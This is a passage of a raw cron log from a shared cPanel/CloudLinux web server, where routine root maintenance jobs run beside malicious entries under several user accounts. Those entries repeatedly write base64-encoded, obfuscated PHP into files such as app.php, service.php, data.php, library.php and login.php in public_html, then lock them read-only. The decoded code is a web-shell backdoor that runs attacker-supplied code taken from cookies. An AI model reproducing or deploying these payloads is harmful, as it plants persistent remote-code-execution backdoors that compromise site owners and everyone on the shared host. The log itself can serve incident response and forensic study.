RfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:19:02 medusa CROND[31968]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:20:01 medusa CROND[15369]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 05:20:01 medusa CROND[15453]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:20:01 medusa CROND[15463]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:20:01 medusa CROND[15618]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:20:02 medusa CROND[15653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:20:02 medusa CROND[15651]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:20:02 medusa CROND[15656]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 05:20:02 medusa CROND[15652]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:20:02 medusa CROND[15657]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 05:20:02 medusa CROND[15658]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:20:02 medusa CROND[15655]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:20:02 medusa CROND[15660]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:20:02 medusa CROND[15654]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:20:02 medusa CROND[15661]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:20:02 medusa CROND[15665]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:20:02 medusa CROND[15667]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:20:02 medusa CROND[15662]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 05:20:02 medusa CROND[15669]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:20:02 medusa CROND[15673]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:20:02 medusa CROND[15675]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:20:02 medusa CROND[15679]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:20:02 medusa CROND[15681]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:20:02 medusa CROND[15659]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:20:02 medusa CROND[15676]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 05:20:02 medusa CROND[15680]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:20:02 medusa CROND[15670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 05:20:02 medusa CROND[15709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:20:02 medusa CROND[15704]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:20:02 medusa CROND[15720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:20:02 medusa CROND[15711]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 05:21:01 medusa CROND[29811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:21:01 medusa CROND[29813]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:21:01 medusa CROND[29910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:21:01 medusa CROND[30042]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:21:01 medusa CROND[30043]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:21:01 medusa CROND[30045]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:21:01 medusa CROND[30050]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:21:01 medusa CROND[30051]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:21:01 medusa CROND[30053]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:21:01 medusa CROND[30066]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:21:01 medusa CROND[30067]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:21:01 medusa CROND[30069]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | 